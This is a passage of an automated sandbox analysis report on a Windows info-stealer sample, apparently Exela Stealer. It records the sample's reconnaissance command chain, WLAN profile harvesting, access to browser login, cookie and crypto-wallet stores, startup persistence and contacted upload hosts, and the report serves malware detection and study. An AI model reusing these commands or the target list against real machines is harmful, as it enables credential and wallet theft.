            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
            Uses netsh to modify the Windows network and firewall settings
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profiles

            Stealing of Sensitive Information

            barindex
            Yara detected Exela Stealer
            Source: Yara matchFile source: 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: 9afaXJv52z.exe PID: 5828, type: MEMORYSTR
            Found many strings related to Crypto-Wallets (likely being stolen)
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: "Electrum": os.path.join(self.RoamingAppData, "Electrum", "wallets"),
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: "Jaxx": os.path.join(self.RoamingAppData, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb"),
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: "Exodus": "aholpfdialjgjfhomihkjbmgjidlcdno",
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),
            Gathers network related connection and port information
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"Jump to behavior
            Tries to harvest and steal WLAN passwords
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profiles
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profiles
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\DefaultJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\CacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\jsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncmJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dirJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web ApplicationsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shmJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasmJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension SettingsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\TempJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics DatabaseJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dirJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App SettingsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibagJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\defJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldbJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download ServiceJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldoomlJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-walJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StorageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\FilesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_dbJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session StorageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code CacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrialsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local StorageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension ScriptsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmiedaJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasmJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation PlatformJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\EncryptionJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfakJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_dbJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shmJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-walJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code CacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabaseJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement TrackerJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjbJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databasesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\SessionsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadataJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension StateJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\NetworkJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\jsJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_storeJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldbJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\NetworkJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM StoreJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session StorageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_storeJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\StorageJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dirJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_dbJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabaseJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync DataJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest ResourcesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dirJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension RulesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_DataJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDBJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HistoryJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\extJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjfJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CacheJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile read: C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Cookies.txtJump to behavior
            Source: Yara matchFile source: 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: 9afaXJv52z.exe PID: 5828, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected Exela Stealer
            Source: Yara matchFile source: 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: 9afaXJv52z.exe PID: 5828, type: MEMORYSTR

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpactResource DevelopmentReconnaissance
            Valid Accounts231
            Windows Management Instrumentation            		11
            DLL Side-Loading            		11
            DLL Side-Loading            		2
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		Exfiltration Over Other Network Medium3
            Ingress Tool Transfer            		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationAbuse Accessibility FeaturesAcquire InfrastructureGather Victim Identity Information
            Default Accounts1
            Native API            		12
            Registry Run Keys / Startup Folder            		11
            Process Injection            		1
            Deobfuscate/Decode Files or Information            		1
            Credentials In Files            		1
            System Network Connections Discovery            		Remote Desktop Protocol21
            Data from Local System            		Exfiltration Over Bluetooth11
            Encrypted Channel            		SIM Card SwapObtain Device Cloud BackupsNetwork Denial of ServiceDomainsCredentials
            Domain Accounts11
            Command and Scripting Interpreter            		Logon Script (Windows)12
            Registry Run Keys / Startup Folder            		21
            Obfuscated Files or Information            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		Automated Exfiltration4
            Non-Application Layer Protocol            		Data Encrypted for ImpactDNS ServerEmail Addresses
            Local AccountsCronLogin HookLogin Hook11
            Software Packing            		NTDS55
            System Information Discovery            		Distributed Component Object Model1
            Clipboard Data            		Traffic Duplication5
            Application Layer Protocol            		Data DestructionVirtual Private ServerEmployee Names
            Cloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Timestomp            		LSA Secrets451
            Security Software Discovery            		SSHKeyloggingScheduled TransferFallback ChannelsData Encrypted for ImpactServerGather Victim Network Information
            Replication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
            DLL Side-Loading            		Cached Domain Credentials2
            Process Discovery            		VNCGUI Input CaptureData Transfer Size LimitsMultiband CommunicationService StopBotnetDomain Properties
            External Remote ServicesSystemd TimersStartup ItemsStartup Items11
            Masquerading            		DCSync151
            Virtualization/Sandbox Evasion            		Windows Remote ManagementWeb Portal CaptureExfiltration Over C2 ChannelCommonly Used PortInhibit System RecoveryWeb ServicesDNS
            Drive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job151
            Virtualization/Sandbox Evasion            		Proc Filesystem1
            Application Window Discovery            		Cloud ServicesCredential API HookingExfiltration Over Alternative ProtocolApplication Layer ProtocolDefacementServerlessNetwork Trust Dependencies
            Exploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
            Process Injection            		/etc/passwd and /etc/shadow1
            Remote System Discovery            		Direct Cloud VM ConnectionsData StagedExfiltration Over Symmetric Encrypted Non-C2 ProtocolWeb ProtocolsInternal DefacementMalvertisingNetwork Topology
            Supply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
            System Network Configuration Discovery            		Shared WebrootLocal Data StagingExfiltration Over Asymmetric Encrypted Non-C2 ProtocolFile Transfer ProtocolsExternal DefacementCompromise InfrastructureIP Addresses

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1374178 Sample: 9afaXJv52z.exe Startdate: 13/01/2024 Architecture: WINDOWS Score: 100 79 store4.gofile.io 2->79 81 ip-api.com 2->81 83 2 other IPs or domains 2->83 99 Antivirus detection for URL or domain 2->99 101 Antivirus detection for dropped file 2->101 103 Antivirus / Scanner detection for submitted sample 2->103 105 4 other signatures 2->105 10 9afaXJv52z.exe 58 2->10         started        14 svchost.exe 2->14         started        signatures3 process4 file5 65 C:\Users\...\_quoting_c.cp311-win_amd64.pyd, PE32+ 10->65 dropped 67 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 10->67 dropped 69 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32+ 10->69 dropped 71 29 other malicious files 10->71 dropped 115 Drops PE files to the startup folder 10->115 117 Modifies the windows firewall 10->117 119 Tries to harvest and steal WLAN passwords 10->119 121 Gathers network related connection and port information 10->121 16 9afaXJv52z.exe 49 10->16         started        signatures6 process7 dnsIp8 73 ip-api.com 208.95.112.1, 49710, 80 TUT-ASUS United States 16->73 75 api.gofile.io 51.38.43.18, 443, 49725 OVHFR France 16->75 77 4 other IPs or domains 16->77 61 C:\Users\user\AppData\Local\...xela.exe, PE32+ 16->61 dropped 63 C:\ProgramData\Microsoft\...xela.exe, PE32+ 16->63 dropped 91 Found many strings related to Crypto-Wallets (likely being stolen) 16->91 93 Uses cmd line tools excessively to alter registry or file data 16->93 95 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 16->95 97 3 other signatures 16->97 21 cmd.exe 1 16->21         started        24 cmd.exe 16->24         started        26 cmd.exe 1 16->26         started        28 15 other processes 16->28 file9 signatures10 process11 signatures12 107 Uses cmd line tools excessively to alter registry or file data 21->107 109 Uses netsh to modify the Windows network and firewall settings 21->109 111 Tries to harvest and steal WLAN passwords 21->111 113 Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes) 21->113 30 conhost.exe 21->30         started        32 systeminfo.exe 24->32         started        45 8 other processes 24->45 35 WMIC.exe 1 26->35         started        37 conhost.exe 26->37         started        39 WMIC.exe 1 28->39         started        41 WMIC.exe 1 28->41         started        43 WMIC.exe 28->43         started        47 24 other processes 28->47 process13 signatures14 85 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 32->85 49 WmiPrvSE.exe 32->49         started        87 DLL side loading technique detected 35->87 89 Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes) 35->89 51 net1.exe 45->51         started        53 quser.exe 45->53         started        55 net1.exe 45->55         started        57 net1.exe 45->57         started        59 Conhost.exe 47->59         started        process15

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            9afaXJv52z.exe53%ReversingLabsWin64.Trojan.Zusy
            9afaXJv52z.exe65%VirustotalBrowse
            9afaXJv52z.exe100%AviraTR/Kryptik.tobsf

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe100%AviraTR/Kryptik.tobsf
            C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe100%AviraTR/Kryptik.tobsf
            C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe53%ReversingLabsWin64.Trojan.Zusy
            C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe65%VirustotalBrowse
            C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe53%ReversingLabsWin64.Trojan.Zusy
            C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe65%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\VCRUNTIME140.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\VCRUNTIME140.dll0%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_asyncio.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_asyncio.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_bz2.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_bz2.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_cffi_backend.cp311-win_amd64.pyd3%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_cffi_backend.cp311-win_amd64.pyd3%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_ctypes.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_ctypes.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_decimal.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_decimal.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_hashlib.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_hashlib.pyd1%VirustotalBrowse
